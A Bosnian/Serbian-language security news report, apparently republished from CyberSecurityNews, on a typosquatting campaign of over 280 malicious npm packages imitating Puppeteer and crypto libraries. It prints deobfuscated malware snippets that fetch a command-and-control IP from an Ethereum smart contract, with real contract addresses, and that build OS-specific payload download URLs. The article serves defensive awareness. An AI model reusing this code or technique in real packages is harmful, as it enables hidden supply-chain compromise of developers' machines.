Preko 280 malicioznih typosquat paketa otkriveno je u tekućoj kampanji koja cilja JavaScript programere koji koriste popularni npm (Node Package Manager) ekosistem.
Napad, koji je započeo krajem oktobra 2024., posebno je usmjeren na programere koji se oslanjaju na široko korištene biblioteke kao što su Puppeteer, Bignum.js i razne biblioteke kriptovaluta , uključujući Ethers.js.
Ova kampanja pokazuje rastuću sofisticiranost napada na lanac nabavke koji iskorištavaju povjerenje zajednice otvorenog koda.
Prema Phylum Reports , kao i mnoge takve kampanje, i ova je počela potajno, s nekoliko početnih testnih publikacija. Prvi otkriveni zlonamjerni paket pod nazivom daun124wdsa8, objavljen pod npm.
Ovaj paket se predstavio kao legitiman alat oponašajući metapodatke popularnih biblioteka. Međutim, nakon detaljnijeg pregleda, sadržavao je sumnjivu skriptu nakon instalacije.
Ova skripta je dizajnirana da izvrši JavaScript datoteku (clzypp8j.js) tokom instalacije. Na sreću, napadač je napravio grešku, jer je fajl koji su nameravali da izvedu nedostajao u paketu, što je učinilo napad neefikasnim.
Međutim, napadači su brzo ispravili ovaj propust u narednim publikacijama. Ubrzo nakon toga pojavili su se novi paketi zalfausi8 i zalf22ausi8.
Ovi paketi su sadržavali jako zamućen JavaScript dizajniran za preuzimanje i izvršavanje malicioznih binarnih datoteka na žrtvinoj mašini.
Do trenutka kada je zajednica postala svjesna prijetnje, kampanja se proširila na 280+ typosquat paketa.
Šta je typosquat napad?
Typosquat napad je pametna tehnika društvenog inženjeringa u kojoj napadači kreiraju maliciozne pakete s imenima koja su vrlo slični legitimnim.
Na primjer, u ovoj kampanji, napadači su kreirali pakete pod nazivom pupeter i pupetier, koji su male pravopisne greške u široko korištenoj biblioteci Puppeteer.
Programeri koji pogrešno unesu ime biblioteke mogli bi nehotice instalirati maliciozni paket, dozvoljavajući napadačima da narušavaju njihove sisteme.
Ovi paketi često oponašaju verziju legitimnog paketa kako bi izgledali vjerodostojniji.
U ovom slučaju, maliciozni paketi su objavljeni pod verzijom 23.6.1, što se poklapa s najnovijim izdanjem legitimne biblioteke Puppeteer u vrijeme napada.
Srž napada uključuje zamagljeni JavaScript koji se pokreće tokom instalacije malicioznog paketa.
Ključna komponenta koda je njegova sposobnost da dohvati udaljenu IP adresu iz Ethereum pametnog ugovora.
Interakcijom sa Ethereum blockchainom, napadači skrivaju IP adrese svojih servera za komandu i kontrolu, što znatno otežava istraživačima sigurnosti da ih prate i isključe.
Evo raščlanjenja demaskiranog koda:
const { ethers } = require("ethers");
const abi = ["function getString(address account) public view returns (string)"];
const provider = ethers.getDefaultProvider("mainnet");
const contract = new ethers.Contract('0xa1b40044EBc2794f207D45143Bd82a1B86156c6b', abi, provider);
const fetchAndUpdateIp = async () => {
try {
const ipAddrFromContract = await contract.getString("0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84");
return ipAddrFromContract;
} catch (error) {
console.error("Error fetching IP address:", error);
return await fetchAndUpdateIp();
}
};
Ovaj kod stupa u interakciju s Ethereum pametnim ugovorom kako bi dohvatio IP adresu.
Pametni ugovor pohranjuje IP adrese napadačevih servera, omogućavajući malicioznom softveru da dinamički ažurira svoje tačke veze bez njihovog tvrdog kodiranja u paket.
Kada se IP adresa preuzme, maliciozni softver konstruira URL za preuzimanje binarne datoteke specifične za operativni sistem žrtve.
const getDownloadUrl = hostAddr => {
const platform = os.platform();
switch (platform) {
case 'win32': return hostAddr + "/node-win.exe";
case "linux": return hostAddr + "/node-linux";
case "darwin": return hostAddr + "/node-macos";
default: throw new Error("Unsupported platform: " + platform);
}
};
Nakon preuzimanja odgovarajuće binarne datoteke, zlonamjerni softver ga izvršava u pozadini, dajući napadaču potpunu kontrolu nad narušenim sistemom.
Jednom instaliran, maliciozni softver ostaje na sistemu dodavanjem u proces pokretanja, osiguravajući da se pokreće svaki put kada se mašina ponovo pokrene.
Prije slanja ovih podataka nazad na server napadača, on također prikuplja detaljne informacije o žrtvinoj mašini, uključujući CPU, GPU, memoriju, operativni sistem i korisničko ime.
Ova kampanja je posljednja u rastućem valu napada na lanac nabave koji ciljaju programere kroz ekosisteme otvorenog koda kao što su npm, PyPI i drugi.
Poslednjih godina, napadači su se sve više fokusirali na ove platforme, znajući da bi kompromitovanje jednog paketa moglo da im omogući pristup hiljadama projekata i sistema.
Napadači u ovoj kampanji koriste typosquat tehnike da bi dobili početni pristup.
Ipak, krajnji cilj ostaje isti: sticanje kontrole nad žrtvinom mašinom za eksfiltriranje podataka, implementaciju ransomware-a ili sprovođenje daljih napada.
Napadači neprestano razvijaju taktiku, pronalazeći nove načine za iskorištavanje povjerenja koje programeri polažu u spremišta otvorenog koda.
Izvor: CyberSecurityNews